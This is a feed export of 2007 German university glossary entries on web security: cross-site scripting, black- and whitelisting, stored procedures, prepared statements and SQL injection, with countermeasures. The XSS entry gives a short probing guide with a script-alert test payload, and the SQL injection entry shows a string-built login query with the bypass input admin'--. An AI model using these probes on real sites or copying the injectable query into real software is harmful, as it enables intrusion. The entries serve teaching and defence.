[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9670</id>
		<title>Cross Site Scripting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9670"/>
		<updated>2007-06-25T15:04:37Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,&lt;br /&gt;
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten&lt;br /&gt;
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des&lt;br /&gt;
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen.&amp;lt;br&amp;gt;&lt;br /&gt;
Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der&lt;br /&gt;
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle&lt;br /&gt;
Informationen.&amp;lt;br&amp;gt;&lt;br /&gt;
Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,&lt;br /&gt;
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte&lt;br /&gt;
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern&lt;br /&gt;
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um&lt;br /&gt;
den angegriffenen Server unerreichbar zu machen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Reflektiertes XSS==&lt;br /&gt;
&lt;br /&gt;
Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und&lt;br /&gt;
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In&lt;br /&gt;
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server&lt;br /&gt;
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch&lt;br /&gt;
eine E-Mail Adresse sein.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer&lt;br /&gt;
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation&lt;br /&gt;
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu&lt;br /&gt;
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Persistentes (beständiges) XSS==&lt;br /&gt;
&lt;br /&gt;
Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen&lt;br /&gt;
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird&lt;br /&gt;
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch&lt;br /&gt;
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,&lt;br /&gt;
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.&lt;br /&gt;
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage&lt;br /&gt;
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den&lt;br /&gt;
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten&lt;br /&gt;
HTML-Code vorfinden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Lokales ([[DOM]]-basiertes) XSS==&lt;br /&gt;
&lt;br /&gt;
Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff&lt;br /&gt;
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen&lt;br /&gt;
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache&lt;br /&gt;
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in&lt;br /&gt;
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code&lt;br /&gt;
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den&lt;br /&gt;
Angreifer weitergeleitet werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im&lt;br /&gt;
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies&lt;br /&gt;
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf&lt;br /&gt;
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,&lt;br /&gt;
da der lokale Benutzer oft gleichzeitig der Administrator ist.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und&lt;br /&gt;
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der&lt;br /&gt;
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung&lt;br /&gt;
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers&lt;br /&gt;
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser&lt;br /&gt;
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==XSS – eine kleine „Anleitung“==&lt;br /&gt;
&lt;br /&gt;
Zunächst müssen potentielle Opfer gefunden werden, d.h. es muss nach Anzeichen für die Angreifbarkeit&lt;br /&gt;
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer&lt;br /&gt;
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,&lt;br /&gt;
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen&lt;br /&gt;
kann ein Anzeichen für die Anfälligkeit auf XSS sein.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.&lt;br /&gt;
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,&lt;br /&gt;
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer&lt;br /&gt;
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses&lt;br /&gt;
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in&lt;br /&gt;
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte&lt;br /&gt;
z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.&lt;br /&gt;
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS&lt;br /&gt;
geschützt ist.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dazu wird in das selbe Feld JavaScript Code eingetragen, wie z.B.&lt;br /&gt;
„&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;“ und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,&lt;br /&gt;
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen&lt;br /&gt;
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da&lt;br /&gt;
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite&lt;br /&gt;
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und&lt;br /&gt;
geprüft werden, ob der eingetragene String (&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;) im HTML-Code der&lt;br /&gt;
Seite auftaucht oder nicht.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt&lt;br /&gt;
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu&lt;br /&gt;
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,&lt;br /&gt;
um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend&lt;br /&gt;
kurz vorgestellt:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;– allow_url_fopen = off&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit&lt;br /&gt;
können keine Skripte von externen Servern mehr ausgeführt werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;– open_basedir = /pfad/zum/www-ordner&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht&lt;br /&gt;
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses&lt;br /&gt;
Verzeichnisses können weiterhin benutzt werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;– save-mode = on&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.&lt;br /&gt;
Darüber hinaus werden auch einige gefährliche Funktionen wie shell-exec() gesperrt. Eine&lt;br /&gt;
weitere Steuerung ist durch weitere Optionen dennoch möglich.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;– display_errors = off&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade&lt;br /&gt;
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von&lt;br /&gt;
Fehlermeldungen zu unterbinden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher&lt;br /&gt;
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs!&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.&lt;br /&gt;
Steuerzeichen durch ihre Escapesequenzen ersetzen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&amp;lt;br&amp;gt;&lt;br /&gt;
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&amp;lt;br&amp;gt;&lt;br /&gt;
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&amp;lt;br&amp;gt;&lt;br /&gt;
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,&lt;br /&gt;
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8&amp;lt;br&amp;gt;&lt;br /&gt;
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu&lt;br /&gt;
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8&amp;lt;br&amp;gt;&lt;br /&gt;
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1&amp;lt;br&amp;gt;&lt;br /&gt;
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.&lt;br /&gt;
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches&lt;br /&gt;
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&amp;lt;br&amp;gt;&lt;br /&gt;
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.&lt;br /&gt;
-ISBN 3-540-63391-X&amp;lt;br&amp;gt;&lt;br /&gt;
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Codeinjection]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Whitelisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Blacklisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Blacklisting&amp;diff=9669</id>
		<title>Blacklisting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Blacklisting&amp;diff=9669"/>
		<updated>2007-06-25T15:01:10Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Blacklisting verbietet einige Zeichen, wie z.B. Steuerzeichen (&amp;lt; &amp;gt;) oder ganze Tags (&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
=Bemerkungen=&lt;br /&gt;
&lt;br /&gt;
Kann nach dem [[Whitelisting]] eingesetzt werden, um besondere Randbedingungen abzudecken.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Vorteil=&lt;br /&gt;
Einige Tags können weiterhin verwendet werden (z.B. für Formattierung durch den Benutzer in Foren).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Nachteil=&lt;br /&gt;
&lt;br /&gt;
Listen müssen permanent auf dem neuesten Stand gehalten werden, um bis jetzt unveröffentlichten [[Angriffsvektor]]en nicht&lt;br /&gt;
schutzlos gegenüber zu stehen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&amp;lt;br&amp;gt;&lt;br /&gt;
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Whitelisting&amp;diff=9668</id>
		<title>Whitelisting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Whitelisting&amp;diff=9668"/>
		<updated>2007-06-25T15:00:04Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
&lt;br /&gt;
Das Whitelisting erlaubt explizit Zeichen (z.B. ist es beim Geburtsjahr nicht nötig, Zahlen&lt;br /&gt;
zu erlauben die kleiner als 1900 sind).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Bemerkung=&lt;br /&gt;
&lt;br /&gt;
Kann vor dem [[Blacklisting]] eingesetzt werden, um den größten Teil der möglichen Angriffe abzuwehren.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Vorteil=&lt;br /&gt;
Falls die Liste vollständig ist, werden keine durch den Benutzer eingetragenen Befehle vom Server ausgeführt und können&lt;br /&gt;
gefahrlos dargestellt und weitergegeben werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Nachteile=&lt;br /&gt;
Es kann leicht passieren das man zu viele Zeichen verbietet und damit die Benutzerfreundlichkeit sinkt bzw. einige Funktionen&lt;br /&gt;
nicht mehr vollständig sind. Beispiel: beim Eintragen der Hausnummer könnten so die Buchstaben gesperrt werden dan ist die&lt;br /&gt;
Kombination aus Zahl und Buchstabe z. B. 12a nicht mehr möglich und die Adressierung ist nicht mehr korrekt.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mehraufwand bei der Festlegung der zugelassenen Zeichen, weil regionsbedingte Unterschiede in der Notation (Sonderzeichen,&lt;br /&gt;
andere Art Adressen aufzuschreiben etc.) berücksichtigt werden müssen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff &amp;lt;br&amp;gt;&lt;br /&gt;
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Stored_Procedure&amp;diff=9667</id>
		<title>Stored Procedure</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Stored_Procedure&amp;diff=9667"/>
		<updated>2007-06-25T14:58:17Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
&lt;br /&gt;
Diese Funktion, bringen einige DB-Management-Systeme mit. Sie ermöglichen es dem Benutzer, ganze Abläufe&lt;br /&gt;
von Anweisungen unter einem Namen zu speichern.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Damit erfolgt statt vieler einzelner Anfragen ein einzelner Aufruf durch den Client.&lt;br /&gt;
&lt;br /&gt;
=Vorteil=&lt;br /&gt;
&lt;br /&gt;
Absicherung gegen [[SQL Injection]], da die Stored procedures zusätzliche Befehle zur Ablaufsteuerung und Auswertung&lt;br /&gt;
erfolgter Anweisungen enthalten können.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der Einsatz von [[Prepared statements]] ist jedoch vorzuziehen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff &amp;lt;br&amp;gt;&lt;br /&gt;
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Prepared statements]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Prepared_Statement&amp;diff=9666</id>
		<title>Prepared Statement</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Prepared_Statement&amp;diff=9666"/>
		<updated>2007-06-25T14:57:58Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
&lt;br /&gt;
Prepared statements sind, wie der Name schon sagt, vorbereitete Statements für ein Datenbank-&lt;br /&gt;
System und enthalten noch keine Parameterwerte.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Statt der Parameter werden Platzhalter an das Datenbanksystem übergeben, d.h. die SQL-Befehle und die tatsächlichen&lt;br /&gt;
Parameterwerte (die dann statt den Platzhaltern eingetragen werden), werden vom Skript getrennt an das [[API]]&lt;br /&gt;
übertragen und somit ist die für die SQL Injection nötige Durchmischung nicht mehr ohne weiteres&lt;br /&gt;
zu erreichen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Darüber hinaus werden die Parameter beim Eintragen zunächst vom DB-System&lt;br /&gt;
auf Gültigkeit geprüft bevor sie verarbeitet werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Als angenehmen Nebeneffekt bringen&lt;br /&gt;
die Prepared statements den Vorteil mit sich, dass durch die Vorverarbeitung der Abfragen eine&lt;br /&gt;
schnellere Verarbeitungszeit der Abfragen möglich ist.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff &amp;lt;br&amp;gt;&lt;br /&gt;
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Stored procedures]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Stored_Procedure&amp;diff=9665</id>
		<title>Stored Procedure</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Stored_Procedure&amp;diff=9665"/>
		<updated>2007-06-25T14:54:50Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
&lt;br /&gt;
Diese Funktion, bringen einige DB-Management-Systeme mit. Sie ermöglichen es dem Benutzer, ganze Abläufe&lt;br /&gt;
von Anweisungen unter einem Namen zu speichern.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Damit erfolgt statt vieler einzelner Anfragen ein einzelner Aufruf durch den Client.&lt;br /&gt;
&lt;br /&gt;
=Vorteil=&lt;br /&gt;
&lt;br /&gt;
Absicherung gegen [[SQL Injection]], da die Stored procedures zusätzliche Befehle zur Ablaufsteuerung und Auswertung&lt;br /&gt;
erfolgter Anweisungen enthalten können.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der Einsatz von [[Prepared statements]] ist jedoch vorzuziehen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff &amp;lt;br&amp;gt;&lt;br /&gt;
[2] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Prepared Statements]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9664</id>
		<title>SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9664"/>
		<updated>2007-06-25T14:53:07Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen&lt;br /&gt;
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht.&lt;br /&gt;
&lt;br /&gt;
Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen&lt;br /&gt;
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die&lt;br /&gt;
Parameter einer URL an die Webseite weitergereicht werden.&lt;br /&gt;
&lt;br /&gt;
=Beispiel=&lt;br /&gt;
Laut [9] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder&lt;br /&gt;
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;$username&#039; AND password =&#039;$password&#039;&lt;br /&gt;
&lt;br /&gt;
In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden:&lt;br /&gt;
&lt;br /&gt;
&amp;quot;admin&#039;--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
